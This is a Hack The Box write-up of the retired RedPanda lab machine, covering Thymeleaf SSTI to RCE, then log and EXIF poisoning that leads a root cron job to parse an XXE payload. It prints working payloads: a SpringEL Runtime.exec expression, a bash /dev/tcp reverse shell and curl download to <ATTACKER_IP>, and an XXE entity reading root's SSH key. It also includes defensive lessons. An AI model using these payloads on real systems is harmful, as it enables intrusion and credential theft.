root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat redpanda.md
// writeups

RedPanda

9 Jul 2022 · 13 min read
RedPanda - maquina de Hack The Box

Executive summary — RedPanda is a very Java-focused Easy Linux box. The «Red Panda Search» site (Spring Boot) is vulnerable to SSTI on the Thymeleaf engine, giving RCE as woodenk. For escalation, that same user belongs to the logs group and can write to a log file that a root process (launched by cron) processes periodically: that process opens every image referenced in the log, reads its EXIF Artist metadata field and uses it to build the path of an XML it parses without protection against external entities. By controlling the log line, the image and the metadata, we make root parse our own XXE that reads its SSH key. Path: SSTI → woodenk → poisoned log/EXIF → XXE (root cron) → root.

PlatformHack The Box
Operating systemLinux
DifficultyEasy
StatusRetired
Target IP10.129.227.207

Attack map

[8080] Red Panda Search → search box → SSTI (Thymeleaf, *{...}) → RCE
   ▼
[SHELL]  woodenk  (user.txt)
   │  id → group "logs": redpanda.log is group-writable
   ▼
[PSPY]  root cron every ~2 min → LogParser.jar (App.java)
   │  reads redpanda.log line by line → URI → JPG image → EXIF Artist → XML
   ▼
[XXE]  URI (traversal) + Artist (traversal) point to our own XML
   │  <!ENTITY foo SYSTEM "file:///root/.ssh/id_rsa"> parsed as root
   ▼
[ROOT]  root SSH key → root.txt

1. Reconnaissance

nmap -sVC 10.129.227.207
22/tcp   open  ssh
8080/tcp open  http

Only two ports: SSH and a web app on http://10.129.227.207:8080. The page title is surprisingly generous with information: «Red Panda Search — Made with Spring Boot». Knowing the backend is Spring Boot already points at a usual suspect in Java land: its default template engine, Thymeleaf, vulnerable to SSTI whenever it concatenates user input carelessly.

2. Reviewing the app — the XML hint

The app is a red panda search engine: each result shows a name, photo, biography and author, and every author has their own stats page. There's also an «Export Table» feature that hits /export.xml?author=damian and returns an XML document (<credits>...</credits>). The fact that the app works internally with XML is the first hint that an XXE may be on the table later on.

3. Foothold — SSTI in Thymeleaf

An SSTI (Server-Side Template Injection) happens when user input is interpreted as a server-side template instead of as plain text. We try the classic ${8*8} in the search box, but the app returns an error saying some characters are forbidden: it looks like ${ is being filtered. Thymeleaf, however, ships an equivalent alternative syntax: the selection expression *{...}, evaluated by the same engine (SpringEL) but with a different string that the filter doesn't block:

*{8*8}

The response confirms the vulnerability:

64

The server didn't return the literal text *{8*8}: it evaluated the math expression. The $ filter was purely cosmetic — Thymeleaf's selection syntax sidesteps it without losing any execution power.

4. Confirming RCE

With SSTI confirmed, we escalate to command execution using SpringEL type expressions (T(...)) to call Runtime.exec() and capture its output with Apache Commons IO:

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

The app responds:

uid=1000(woodenk)

Confirmed: we execute arbitrary commands and the process runs as woodenk. We have RCE, but working command-by-command through SSTI is clunky — next step is an interactive shell.

5. Reverse shell

We prepare a script on the attacking machine:

#!/bin/bash
bash -i >&/dev/tcp/<ATTACKER_IP>/4444 0>&1

Serve it over HTTP and leave a listener waiting:

python3 -m http.server 8000     # serves shell.sh
nc -lvnp 4444                    # listener

We use the SSTI again, this time to have the victim download the script and run it (two separate exec() calls through the same *{...} payload):

curl http://<ATTACKER_IP>:8000/shell.sh -o /tmp/shell.sh
bash /tmp/shell.sh

The listener catches the connection immediately:

whoami
woodenk

6. Stabilizing the shell and user.txt

The reverse shell works but is uncomfortable (no terminal control, no history). We upgrade it to a full pseudo-TTY:

script /dev/null -c bash

Suspend it with Ctrl+Z, then on Kali:

stty raw -echo; fg

And finally, back in the victim's shell:

reset
export TERM=xterm

With a comfortable shell, we grab the user flag:

cat ~/user.txt

7. Local enumeration — the logs group

id
uid=1000(woodenk) gid=1001(logs)
groups=1001(logs),1000(woodenk)

logs is not a standard Linux group: someone created it on purpose, so it's worth checking which files belong to it.

find / -group logs 2>/dev/null
/opt/panda_search/redpanda.log
/credits
/credits/damian_creds.xml
/credits/woodenk_creds.xml

Two clues: the /credits directory full of XMLs (the same format we saw in /export.xml) and the app's log file. We check the log's permissions:

ls -l /opt/panda_search/redpanda.log
-rw-rw-r-- 1 root logs

The log is owned by root, but the logs group has write access. If a root process trusts the contents of that file, we've just found an injection vector.

8. pspy — locating the root process

To see what runs as root without needing crontab -l (which we can't read), we upload pspy64 and run it:

# attacker
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
python3 -m http.server 8000

# victim
cd /tmp
wget http://<ATTACKER_IP>:8000/pspy64
chmod +x pspy64
./pspy64

After a few minutes, this shows up repeatedly:

UID=0 java -jar /opt/credit-score/LogParser/final/target/final-1.0-jar-with-dependencies.jar
/root/run_credits.sh

A root cron runs run_credits.sh, which in turn launches a JAR related to «credit-score». Time to read the code.

9. Reading the source

Under /opt/panda_search we find the site's own source:

find . -name "*.java"
MainController.java
RequestInterceptor.java

RequestInterceptor.java is the key piece: it logs every HTTP request to redpanda.log in this format:

bw.write(responseCode+"||"+remoteAddr+"||"+UserAgent+"||"+requestUri);

Line format: status||ip||user-agent||uri. We already know we can write to that file and that root processes it — the exploitation chain is starting to take shape.

Under /opt/credit-score is the JAR we saw in pspy. Its relevant source is App.java, and reading it we reconstruct the exact flow root follows:

  • Opens /opt/panda_search/redpanda.log and reads it line by line.
  • Extracts the URI field from each line.
  • Opens the JPG image that URI references.
  • Reads its EXIF metadata and grabs the Artist field.
  • Uses that value to build the path /credits/<Artist>_creds.xml.
  • Parses that XML without disabling external entities.

The key to the attack: both the URI (which we write into the log) and the Artist field (which we set on the EXIF of our own image) are fully attacker-controlled. If we also inject ../ into both, we can escape the /credits/ directory and point at an XML we've placed anywhere else, e.g. /tmp. Root will end up parsing our XML — that's the XXE.

10. Crafting the malicious XML and image

The XML defines an external entity pointing at root's private key:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY foo SYSTEM "file:///root/.ssh/id_rsa">
]>
<credits>
<author>damian</author>
<image>
<uri>/img/angy.jpg</uri>
<views>1</views>
<root>&foo;</root>
</image>
<totalviews>1</totalviews>
</credits>

We save it as 0xdf_creds.xml. Now we prepare an image whose Artist field performs path traversal from /credits/ into the directory where we've placed that XML:

cp panda.jpg 0xdf.jpg
exiftool -Artist="../tmp/0xdf" 0xdf.jpg
exiftool 0xdf.jpg | grep Artist
Artist : ../tmp/0xdf

With that, /credits/<Artist>_creds.xml resolves to /credits/../tmp/0xdf_creds.xml = /tmp/0xdf_creds.xml, exactly where our XML lives. We upload both files (image and XML) to /tmp on the target:

cp 0xdf.jpg 0xdf_creds.xml /tmp/

11. Poisoning the log and triggering the XXE

We just need root to «visit» our image: we inject a line into redpanda.log with a URI that, via path traversal, escapes the expected image directory and points at our JPG in /tmp:

echo "412||ip||ua||/../../../../../../tmp/0xdf.jpg" >> /opt/panda_search/redpanda.log

The root cron runs every ~2 minutes. On its next run it: reads that log line, opens /tmp/0xdf.jpg, extracts the Artist field (../tmp/0xdf), rebuilds the path to our 0xdf_creds.xml, parses it, resolves the &foo; entity, and its content — root's private key — ends up dumped back into that same file, which we can now just read:

cat /tmp/0xdf_creds.xml
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----

12. Root

We save the key, fix its permissions and log in over SSH:

chmod 600 redpanda_root
ssh -i redpanda_root root@10.129.227.207
whoami
root
cat /root/root.txt

System fully compromised. The escalation isn't a single isolated bug, but a combination of several small weaknesses — a group-writable log, a file path built from unsanitized external data, a trusted EXIF field and an unprotected XML parser — that together grant arbitrary file read as root. 🏴‍☠️

Vulnerability summary

PhaseComponentVulnerabilityImpact
FootholdSearch box (Thymeleaf, Spring Boot)SSTI: the ${ filter is bypassed with Thymeleaf's *{...} selection syntax, RCE via SpringELShell as woodenk
Enumerationredpanda.log (group logs)App log file writable by an unprivileged group and consumed by a root processInjection of data root will process
PrivEscLogParser JAR (App.java, root cron)Path traversal in the logged URI + controlled EXIF Artist field + XML parsing with no protection against external entities (XXE)Arbitrary file read as root → root's SSH key

Lessons learned

  • SSTI: filtering one literal string (${) isn't enough if the template engine offers equivalent syntax (*{...} in Thymeleaf); never concatenate user input inside a template.
  • Logs are attack surface: a log file writable by a low-privilege user is just as dangerous as any other untrusted input if a more privileged process consumes it.
  • Don't trust metadata: EXIF fields like Artist are effectively user input — and here they also flow into file paths without sanitization (path traversal).
  • XXE: always disable external entity resolution (DTDs) in any XML parser.
  • Least privilege in crons: a root process handling data partially controlled by an unprivileged user is a direct escalation target.